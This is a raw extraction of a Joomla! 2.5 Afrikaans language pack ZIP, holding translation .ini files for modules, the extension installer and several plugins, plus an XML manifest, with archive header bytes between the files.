MOD_LATEST_TITLE_MODIFIED="Laas-gewysigde Artikels" MOD_LATEST_TITLE="Onlangs-Geskepe Artikels" MOD_LATEST_TITLE_MODIFIED_MORE="Laas-gewysigde %1 Artikels" MOD_LATEST_FIELD_VALUE_ORDERING_ADDED="Onlangs Bygevoeg Eerste" MOD_LATEST_TITLE_MODIFIED_BY_ME_1="Laas-gewysigde Artikel deur my" MOD_LATEST_TITLE_CREATED_MORE="Laas-bygevoegde %1 Artikels" MOD_LATEST_NO_MATCHING_RESULTS="Geen Ooreenstemmende Resultate nie" MOD_LATEST_FIELD_VALUE_ORDERING_MODIFIED="Onlangs-Gewysigde Eerste" MOD_LATEST_FIELD_AUTHORS_LABEL="Outeurs" MOD_LATEST_TITLE_CREATED_CATEGORY="Laas-bygevoegde Artikel (%2 kategorie)" MOD_LATEST_TITLE_CREATED="Laas-bygevoegde Artikels" MOD_LATEST_TITLE_CREATED_BY_ME="Laas-bygevoegde Artikel deur my" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME="Laas-bygevoegde Artikel nie deur my nie (%2 kategorie)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_MORE="Laas-bygevoegde %1 Artikels deur my (%2 kategorie)" MOD_LATEST_TITLE_CREATED_CATEGORY_MORE="Laas-bygevoegde %1 Artikels (%2 kategorie)" MOD_LATEST_TITLE_CREATED_CATEGORY_1="Laas-bygevoegde Artikel (%2 kategorie)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME="Laas-bygevoegde Artikels deur my (%2 kategorie)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_1="Laas-bygevoegde Artikel deur my (%2 kategorie)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_MORE="Laaste %1 Bygevoegde Artikels nie deur my nie (%2 kategorie)" MOD_LATEST_TITLE_CREATED_NOT_ME="Laas-bygevoegde Artikel nie deur my nie" MOD_LATEST_TITLE_CREATED_NOT_ME_1="Laas-bygevoegde Artikel nie deur my nie" MOD_LATEST_TITLE_CREATED_NOT_ME_MORE="Laas-bygevoegde %1 Artikels nie deur my nie" MOD_LATEST_TITLE_MODIFIED_BY_ME="Laas-gewysigde Artikels deur my" MOD_LATEST_TITLE_MODIFIED_CATEGORY="Laas-gewysigde Artikels (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_1="Laas-gewysigde Artikel (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME="Laas-gewysigde Artikels deur my (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_1="Laas-gewysigde Artikel deur my (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_MORE="Laas-gewysigde %1 Artikels deur my (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_MORE="Laas-gewysigde %1 Artikels (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME="Laas-gewysigde Artikels nie deur my nie (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_1="Laas-gewysigde Artikel nie deur my nie (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_MORE="Laas-gewysigde %1 Artikels nie deur my nie (%2 kategorie)" MOD_LATEST_TITLE_MODIFIED_NOT_ME_MORE="Laas-gewysigde %1 Artikels nie deur my nie" MOD_LATEST_FIELD_CATEGORY_DESC="Kies artikels uit 'n spesifieke kategorie of stel van kategorië." MOD_LATEST_FIELD_VALUE_AUTHORS_BY_ME="Bygevoeg of deur my gewysig" MOD_LATEST_FIELD_VALUE_AUTHORS_NOT_BY_ME="Nie deur my bygevoeg of gewysig nie" MOD_LATEST_XML_DESCRIPTION="Hierdie Module vertoon 'n lys van die mees onlangs-gepubliseerde Artikels wat nog huidig is. Party wat vertoon word mag al verstryk wees al is hulle van die mees-onlangse artikels." PK@y>\$ Q&language/af-ZA/af-ZA.com_admin.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_admin.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_ADMIN="Admin - Stelsel Infos" COM_ADMIN_XML_DESCRIPTION="Administrasie stelsel inligtings-komponent" PK@y>\˶  )language/af-ZA/af-ZA.com_weblinks.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_weblinks.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_WEBLINKS="Webskakels" COM_WEBLINKS_LINKS="Skakels" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_OPTION="Verstek" COM_WEBLINKS_CATEGORIES="Kategorië" COM_WEBLINKS_FORM_VIEW_DEFAULT_OPTION="Verstek" COM_WEBLINKS_FORM_VIEW_DEFAULT_OPTION="Verstek" COM_WEBLINKS_CATEGORIES="Kategorië" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_OPTION="Verstek" COM_WEBLINKS_XML_DESCRIPTION="Komponent vir die bestuur van webskakels " COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_TITLE="Lys Webskakels in 'n Kategorie" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_DESC="Vertoon 'n lys van webskakels vir 'n kategorie" COM_WEBLINKS_FORM_VIEW_DEFAULT_TITLE="Dra 'n Web Skakel by" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_TITLE="Lys Alle Web-Skakel Kategorië" COM_WEBLINKS_CATEGORY_ADD_TITLE="Kategorie Bestuurder: Voeg 'n Nuwe Web-skakel Kategorie by" COM_WEBLINKS_CATEGORY_EDIT_TITLE="Kategorie Bestuurder: Redigeer A Web-skakel Kategorie" COM_WEBLINKS_FORM_VIEW_DEFAULT_DESC="Vertoon 'n vorm 'n web skakel deur die voorent frontend by te dra." COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_DESC="Vertoon alle web-skakel kategorië binne-in 'n kategorie." PK@y>\_@>>&language/af-ZA/af-ZA.com_installer.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_installer.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_INSTALLER_TYPE_PACKAGE="Paket" COM_INSTALLER_TOOLBAR_UPDATE="Opdateer" COM_INSTALLER_PACKAGE_FILE="Paket Lêer" COM_INSTALLER_TYPE_LIBRARY="Biblioteek" COM_INSTALLER_TYPE_TYPE_TEMPLATE="templet" COM_INSTALLER="Installeering Bestuurder" COM_INSTALLER_INSTALL_URL="Installeer URL" COM_INSTALLER_HEADING_LOCATION="Plek" COM_INSTALLER_VALUE_FOLDER_NONAPPLICABLE="N.v.t." COM_INSTALLER_INSTALL_FROM_URL="Installeer van URL" COM_INSTALLER_MSG_UPDATE_UPDATE="Opdateer" COM_INSTALLER_NEW_INSTALL="Nuwe installasie" COM_INSTALLER_VALUE_FOLDER_NONAPPLICABLE="N.v.t." COM_INSTALLER_INSTALL_FROM_URL="Installeer van URL" COM_INSTALLER_TOOLBAR_FIND_UPDATES="Vind Opdateers" COM_INSTALLER_VALUE_STATE_SELECT="- Kies Staat -" COM_INSTALLER_TYPE_TYPE_FILE="lêer" COM_INSTALLER="Installeering Bestuurder" COM_INSTALLER_INSTALL_URL="Installeer URL" COM_INSTALLER_TYPE_TYPE_TEMPLATE="templet" COM_INSTALLER_INSTALL_SUCCESS="Installing %s was suksesvol." COM_INSTALLER_UNINSTALL_SUCCESS="Ontinstalleering van %s was suksesvol." COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED="Geen lêer gekies nie" COM_INSTALLER_CONFIGURATION="Installeerder konfigurasie" COM_INSTALLER_AUTHOR_INFORMATION="Outeur Inligting" COM_INSTALLER_ERROR_METHOD="Metode nie geïmplimenteer nie" COM_INSTALLER_MSG_INSTALL_INVALID_URL="Ongeldige URL" COM_INSTALLER_VALUE_CLIENT_SELECT="- Kies Plek -" COM_INSTALLER_UPLOAD_AND_INSTALL="Oplaai & Installeer" COM_INSTALLER_HEADING_LOCATION="Plek" COM_INSTALLER_TYPE_TYPE_PACKAGE="paket" COM_INSTALLER_MSG_WARNINGFURTHERINFO="Verdere inligting omtrent waarskuwings" COM_INSTALLER_TYPE_LIBRARY="Biblioteek" COM_INSTALLER_INVALID_EXTENSION_UPDATE="Ongeldige ekstensie opdateering" COM_INSTALLER_FAILED_TO_PURGE_UPDATES="Gefaal opdateering te skrap" COM_INSTALLER_PURGED_UPDATES="Geskrapte opdateering" COM_INSTALLER_TYPE_TYPE_LIBRARY="biblioteek" COM_INSTALLER_MSG_WARNINGS_NONE="Geen waarskuwings gevind nie" COM_INSTALLER_MSG_INSTALL_ENTER_A_URL="Tik asseblief 'n URL" COM_INSTALLER_N_EXTENSIONS_PUBLISHED="%d ekstensies suksesvol gepubliseer." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED_1="%d ekstensie suksesvol ontpubliseer." COM_INSTALLER_XML_DESCRIPTION="Installeerder komponent vir byvoeging, verwydering en opgradeering van ekstensies" COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE="Die installeering kan nie verder gaan totdat lêer oplaaie vir die bediener ontsper is." COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED="Geen ekstensie gekies nie" COM_INSTALLER_INSTALL_FROM_DIRECTORY="Installeer van Lêergids" COM_INSTALLER_LABEL_HIDEPROTECTED_DESC="Versteek beskermde ekstensies. Beskermde ekstensies kan nie oninstalleer word nie." COM_INSTALLER_LABEL_HIDEPROTECTED_LABEL="Versteek beskermde ekstensies" COM_INSTALLER_HEADING_NAME="Naam" COM_INSTALLER_HEADING_TYPE="Tipe" COM_INSTALLER_VALUE_TYPE_SELECT="- Kies Tipe -" COM_INSTALLER_HEADING_CLIENT="Kliënt" COM_INSTALLER_HEADING_DETAILSURL="URL Details" COM_INSTALLER_HEADING_FOLDER="Vouer" COM_INSTALLER_HEADING_ID="ID" COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC="" COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN="" COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC="" COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN="" COM_INSTALLER_VALUE_FOLDER_SELECT="- Kies Vouer -" COM_INSTALLER_HEADING_INSTALLTYPE="Installeer Tipe" COM_INSTALLER_INSTALL_BUTTON="Installeer" COM_INSTALLER_SUBMENU_DISCOVER="Ontdek" COM_INSTALLER_SUBMENU_INSTALL="Installeer" COM_INSTALLER_TOOLBAR_DISCOVER="Ontdek" COM_INSTALLER_TYPE_LANGUAGE="Taal" COM_INSTALLER_TYPE_MODULE="Module" COM_INSTALLER_TYPE_NONAPPLICABLE="N.v.t." COM_INSTALLER_TYPE_FILE="Lêer" COM_INSTALLER_TYPE_TYPE_MODULE="module" COM_INSTALLER_TYPE_TYPE_COMPONENT="komponent" COM_INSTALLER_TYPE_TYPE_LANGUAGE="taal" COM_INSTALLER_TYPE_TEMPLATE="Templet" COM_INSTALLER_TYPE_CLIENT="Plek" COM_INSTALLER_TYPE_COMPONENT="Komponent" COM_INSTALLER_UPLOAD_PACKAGE_FILE="Laai Paket Lêer op" COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED="Paket aflaai gefaal: %s" COM_INSTALLER_SUBMENU_UPDATE="Opdateer" COM_INSTALLER_SUBMENU_WARNINGS="Waarskuwings" COM_INSTALLER_TITLE_DISCOVER="Ekstensie bestuurder - Ontdek" COM_INSTALLER_TITLE_INSTALL="Ekstensie bestuurder - Installeer" COM_INSTALLER_TITLE_MANAGE="Ekstensie bestuurder - Bestuur" COM_INSTALLER_TITLE_UPDATE="Ekstensie bestuurder - Opdateer" COM_INSTALLER_TITLE_WARNINGS="Ekstensie bestuurder - Waarskuwings" COM_INSTALLER_SUBMENU_MANAGE="Bestuur" COM_INSTALLER_MSG_UPDATE_ERROR="Fout met die opdateering van %s." COM_INSTALLER_HEADER_DISCOVER="Ekstensie Bestuurder: Ontdek" COM_INSTALLER_HEADER_INSTALL="Ekstensie Bestuurder: Installeer" COM_INSTALLER_HEADER_MANAGE="Ekstensie Bestuurder: Bestuur" COM_INSTALLER_HEADER_UPDATE="Ekstensie Bestuurder: Opdateer" COM_INSTALLER_HEADER_WARNINGS="Ekstensie Bestuurder: Waarskuwings" COM_INSTALLER_N_EXTENSIONS_PUBLISHED_1="%d ekstensies suksesvol ontsper." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED="%d ekstensies suksesvol gesper." COM_INSTALLER_EXTENSION_PUBLISHED="Ekstensie suksesvol ontsper." COM_INSTALLER_EXTENSION_UNPUBLISHED="Ekstensie suksesvol gesper." COM_INSTALLER_INSTALL_DIRECTORY="Installeer Lêergids" COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED="Geen ekstensies gekies nie" COM_INSTALLER_MSG_DESCFTPTITLE="FTP Inteken Gegewens" COM_INSTALLER_INSTALL_ERROR="Fout met die installeer van %s" COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED="Ontdek-installeer het gefaal" COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL="Ontdek-installeer suksesvol" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_DIRECTORY="Kies asseblief 'n lêergids" COM_INSTALLER_TYPE_TYPE_PLUGIN="inprop-program" COM_INSTALLER_TYPE_PLUGIN="Inprop-program" COM_INSTALLER_NO_INSTALL_TYPE_FOUND="Geen Installeer Tipe Gevind nie" COM_INSTALLER_MSG_UPDATE_SUCCESS="Opdateer van %s was suksesvol." COM_INSTALLER_UNINSTALL_ERROR="Fout met die ontinstalleer van %s." COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED="Lêer oplaaie is gesper" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET="Die Joomla! tydelike lêergids is nie gestel nie" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE="Joomla! tydelike lêergids nie skryfbaar nie of bestaan nie" COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE="Kon nie installeer paket vind nie" COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS="Gefaal om die ekstensies te purgeer" COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE="Gidspad het nie 'n geldige paket nie." COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY="Tik asseblief 'n paket lêergids in" COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR="Daar was 'n fout met die oplaai van hierdie lêer na die bediener." COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB="Die installeerder kan nie verder gaan nie totdat Zlib installeer is." COM_INSTALLER_MSG_UPDATE_NODESC="Geen beskrywing is vir hierdie item beskikbaar nie." COM_INSTALLER_MSG_UPDATE_NOUPDATES="Daar is geen opdaterings beskikbaar op die oomblik nie. Kyk Asseblief later weer." COM_INSTALLER_MSG_WARNINGFURTHERINFODESC="Vir verdere inligting aangaande waarskuwings, sien die Joomla! Dokumentasie Werk (voorloping in Engels)" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET="Die PHP tydelike lêergids is nie gestel nie" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC="Die PHP tydelike lêergids is die lêergids wat PHP gebruik om 'n oplaaide lêer te stoor voordat Joomla! toegang hierdie tot die lêer kan kry. Al is die lêergidspad nie gestel nie, is dit nie altyd 'n problem nie, maar as jy probleme met manifes lêërs of opgelaaide lêërs het, wat nie gespeur kan word nie, sal hierdie instelling in jou php.ini lêer die probleem regmaak." COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE="Die tydelike PHP lêergids is nie skryfbaar nie" COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE="Klein PHP maksimum POST grootte" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE="Klein PHP lêer oplaai grootte" COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST="PHP Oplaai grootte is groter as die POST grootte" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC="Die maksimum lêer grootte vir oplaai is minder as 2MB gestel, wat die laai van grrot ektensies sal impak." COM_INSTALLER_ENABLED_UPDATES_1=", 1 gesperde webwerf is ontsper" COM_INSTALLER_ENABLED_UPDATES_MORE=", %s gesperde webwerwe is ontsper" COM_INSTALLER_FAILED_TO_ENABLE_UPDATES=", kan nie opdateeringsfunksie ontsper nie" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE="Kies asseblief 'n paket lokasie" COM_INSTALLER_MSG_MANAGE_NOEXTENSION="Daar is geen ekstensies geinstalleer wat aan jou navraag voldoen nie" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC="Lêer oplaai is benodig vir die oplaai van ekstensies na die installeerder." COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED="Die sper van die verstek templet is nie toegelaat nie" COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS="Skrap ontdekte ektensies" COM_INSTALLER_PREFERENCES_LABEL="Voorkeure" COM_INSTALLER_SUBMENU_DATABASE="Databasis" COM_INSTALLER_TITLE_DATABASE="Ekstensie bestuurder - Databasis" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_INSTALLER_MSG_DATABASE_INFO="Ander Inligting" COM_INSTALLER_MSG_DATABASE_DROP_INDEX="Tabel %2 behoort nie indeks %3 te hê nie. (Van lêer %1.)" COM_INSTALLER_MSG_DATABASE_DRIVER="Databasis aandrywer: %s." COM_INSTALLER_MSG_DATABASE_CREATE_TABLE="Tabel %2 bestaan nie. (Van lêer %1.)" COM_INSTALLER_MSG_DATABASE_CHECKED_OK="%s databasis wysigs is suksesvol getoets." COM_INSTALLER_MSG_DATABASE_CHANGE_COLUMN_TYPE="Tabel %2 het nie kolom %3 met tipe %4 nie. (Van lêer %1.)" COM_INSTALLER_MSG_DATABASE_ADD_INDEX="Tabel %2 het nie indeks %3 nie. (Van lêer %1.)" COM_INSTALLER_MSG_DATABASE_ADD_COLUMN="Tabel %2 het nie indeks %3 nie. (Van lêer %1.)" COM_INSTALLER_HEADER_DATABASE="Ekstensie Bestuurder: Toets Databasis" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL_1="1 Databasis Probleem Gevind" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL="%d Databasis Probleme Gevind" COM_INSTALLER_CACHETIMEOUT_DESC="Vir hoeveel ure die Joomla! kas-ekstensie inligting moet opdateer" COM_INSTALLER_CACHETIMEOUT_LABEL="Opdateer kas (in ure)" COM_INSTALLER_MSG_DATABASE="Met hierdie skerm kan jy toets of jou databasis-tabelstruktuur op datum is." COM_INSTALLER_MSG_DATABASE_ERRORS="Waakskuwing: Databasis is nie op datum nie" COM_INSTALLER_MSG_DATABASE_OK="Databasis tabelstruktuur is op datum." COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR="Databasis skema Versie (%s) stem nie met die CMS version (%s) ooreen nie." COM_INSTALLER_MSG_DATABASE_SCHEMA_VERSION="Databasis skema Versie (in #__skemas): %s." COM_INSTALLER_MSG_DATABASE_SKIPPED="%s databasis wysigings het nie tabelstruktuur verander nie en is dus oorgeslaan." COM_INSTALLER_MSG_DATABASE_FILTER_ERROR="Geen verstek teks-filters gevind nie." COM_INSTALLER_MSG_DATABASE_UPDATE_VERSION="Opdateer Versie (in #__extensions): %s." COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR="Databasis opdateer Versie (%s) stem nie met die CMS versie ooreen nie (%s)." COM_INSTALLER_TOOLBAR_DATABASE_FIX="Regmaak" COM_INSTALLER_PREFERENCES_DESCRIPTION="Fyn-instel hoe ekstensie-installeering en -opdateerings werk" COM_INSTALLER_MSG_DISCOVER_NOEXTENSION="Geen ekstensies is ontdek nie. Kliek Ontdek om nuwe ekstensies wat moontliks beskikbaar is, te installeer." COM_INSTALLER_MSG_DESCFTP="Vir die installeering en ont-installeering van ekstensies, sal Joomla! moontliks jou FTP-rekening besonderhede benodig. Tik hulle in the velde hier onder." COM_INSTALLER_MSG_WARNINGS_NOTCOMPLETE="

              Waakskuwing: Opdateer nie Voltooi nie

              Die Opdateer is gedeelteliks voltooi. Voer asb. 'n tweede opdateerings uit om die proses te voltooi.

              " COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC="Die PHP tydelike lêergids is nie skryfbaar op hierdie Joomla! instansie nie, wat probleme sal veroorsaak wanneer ekstensies na Joomla! opgelaai moet word. Indien jy probleme met die oplaai van ekstensies het, toets die '%s' en stel dit om skryfbaar te wees." COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC="Die Joomla! tydelike lêergids is waar Joomla! 'n ekstensie heen kopieer en dan die ekstensie daar uitpak en die lêërs dan na die korrekte lêergidse heen kopieer. Indien hierdie konfigurasie nie in die configuration.php ($tmp_path) gestel is nie, dan sal jy nie ekstensies kan oplaai nie. Skep dus 'n lêergids sodat Joomla! na die lêergids kan skryf om die probleem op te los." COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC="Die Joomla! tydelike lêergids is nie skryfbaar nie, of dalk bestaan dit nie. Dit veroorsaak dat ekstensies nie opgelaai kan word nie. As jy probleme met die oplaai van ekstensies het, maak seker dat die lêergids wat in jou configuration.php gestel is, wel bestaan, en toets die '%s' en stel dit na skryfbaar." COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC="Die maksimum POST-grootte stel die grootste hoeveelheid data wat via 'n POST-aksie na die bediener gestuur kan word. Hierdie sluit in o.a. vorm-bydrae vir artikels, media (beelde, videos) en ekstensies. Hierdie waarde is minder as 2MB wat die oplaai van groot ekstensies sal beperk. Hierdie word in die php.ini lêer by post_max_size gestel." COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC="Die waarde van die upload_max_filesize in die php.ini lêer is groter as die post_max_size stelsel-variable. Die post_max_size stelsel variable sal hier voorkeuring neem en navrae wat groter as dit is, blokkeer. Hierdie is oor die algemeen 'n bediener miskonfigurasie wanneer oplaai-groottes vermeerder word. Vermeerder dus asseblief die upload_max_filesize waarde na ten minste die selfde as die post_max_size waarde, of andersom." COM_INSTALLER_MSG_DISCOVER_DESCRIPTION="Met hierdie skerm kan ekstensies gevind word wat nie deur die normale installeerings-proses geïnstalleer is nie.
              By voorbeeld, party ekstensies is te groot in terme van hul lêer-grootte om op te laai weens beperkings in die webwerfbediener. Met hierdie funksie kan jy ekstensies wat met ander metodes oplaai is, soos bv. FTP or SFTP, en dan die ekstensies in die toepaslike lêergidse plaas.
              Jy kan dan die Ontdek-eienskap gebruik om die nuut-opgelaaide ekstensies te find en in jou Joomla! installasie te aktiveer
              Jy kan ook hiermee meer as een ekstensies op 'n slag installeer." COM_INSTALLER_EXTENSION_DISABLE="Sper ekstensie" COM_INSTALLER_EXTENSION_DISABLED="Gesperde ekstensie" COM_INSTALLER_EXTENSION_ENABLE="Ontsper ekstensie" COM_INSTALLER_EXTENSION_ENABLED="Ontsperde ektensie" COM_INSTALLER_EXTENSION_PROTECTED="Beskermde ekstensie" PK@y>\Hrr.language/af-ZA/af-ZA.plg_editors-xtd_image.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_editors-xtd_image.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_IMAGE_BUTTON_IMAGE="Beeld" PLG_EDITORS-XTD_IMAGE="Knoppie - Beeld" PLG_IMAGE_XML_DESCRIPTION="Hierdie verskaf 'n knoppie waarmee beelde in 'n artikel gevoeg kan word. Die oplaai en verdere beeld-eienskappe kan in 'n opspringvenster gestel word." PK@y>\b X'language/af-ZA/af-ZA.plg_system_p3p.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_p3p.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_P3P_HEADER_LABEL="P3P Merke" PLG_SYSTEM_P3P="Stelsel - P3P Beleid" PLG_P3P_HEADER_DESCRIPTION="Tik jou P3P-beleid merke hier in. Vir verdere inligting aangaande die spesifikasie vir die Die Platform vir Privaatheids-Voorkeure, gaan na http://www.w3.org/TR/P3P/" PLG_P3P_XML_DESCRIPTION="Die stelsel se P3P beleid-inprop-program laat Joomla! toe om 'n pasgemaakte string van P3P beleids-etikette in die HTTP kopskrif te stuur. Hierdie is benodig sodat die sessies op sekere webblaaiers kan werk, o.a. Internet Explorer 6 en 7." PK@y>\hd+language/af-ZA/af-ZA.plg_content_finder.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_content_finder.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_QUERY_FILTER_BRANCH_P__="Alle" PLG_FINDER_QUERY_FILTER_BRANCH_P_CATEGORY="Kategorië" PLG_FINDER_QUERY_FILTER_BRANCH_P_LANGUAGE="Tale" PLG_FINDER_QUERY_FILTER_BRANCH_S_TYPE="Tipe" PLG_FINDER_QUERY_FILTER_BRANCH_P_TYPE="Tipes" PLG_FINDER_QUERY_FILTER_BRANCH_S_CATEGORY="Kategorie" PLG_FINDER_QUERY_FILTER_BRANCH_S_LANGUAGE="Taal" PLG_CONTENT_FINDER="Inhoud - Slim Soektog" PLG_CONTENT_FINDER_XML_DESCRIPTION="Ontsper Indekseering vir Slim Soektog" PK@y>\E^^language/af-ZA/af-ZA.xmlnuW+A af-ZA Afrikaans Afrikaanse Taalpaket in die vertroulike aanspreeksvorm - Joomla! 2.5.6.2 "31 Jul 2012" Gerrit Hoekstra webmaster@joomla4africa.org http://joomla4africa.org Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved Copyright (C) Afrikaans Translation 2006 - 2012 Gerrit Hoekstra. Alle regte voorbehou. GNU General Public License version 2 or later; see LICENSE.txt Afrikaans af-ZA 0 af_ZA.uft8, af_ZA.UTF-8, af, af_ZA, afr_ZA, af-ZA, afrikaans, afrikaans-za, afr, south africa, suid-afrika 1 PK@y>\M,language/af-ZA/af-ZA.plg_finder_contacts.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_contacts.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Slim Soek - Kontakte" PLG_FINDER_QUERY_FILTER_BRANCH_P_COUNTRY="Lande" PLG_FINDER_QUERY_FILTER_BRANCH_P_REGION="Streke" PLG_FINDER_QUERY_FILTER_BRANCH_S_CONTACT="Kontak" PLG_FINDER_CONTACTS_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Kontakte." PLG_FINDER_QUERY_FILTER_BRANCH_P_CONTACT="Kontakte" PLG_FINDER_QUERY_FILTER_BRANCH_S_COUNTRY="Land" 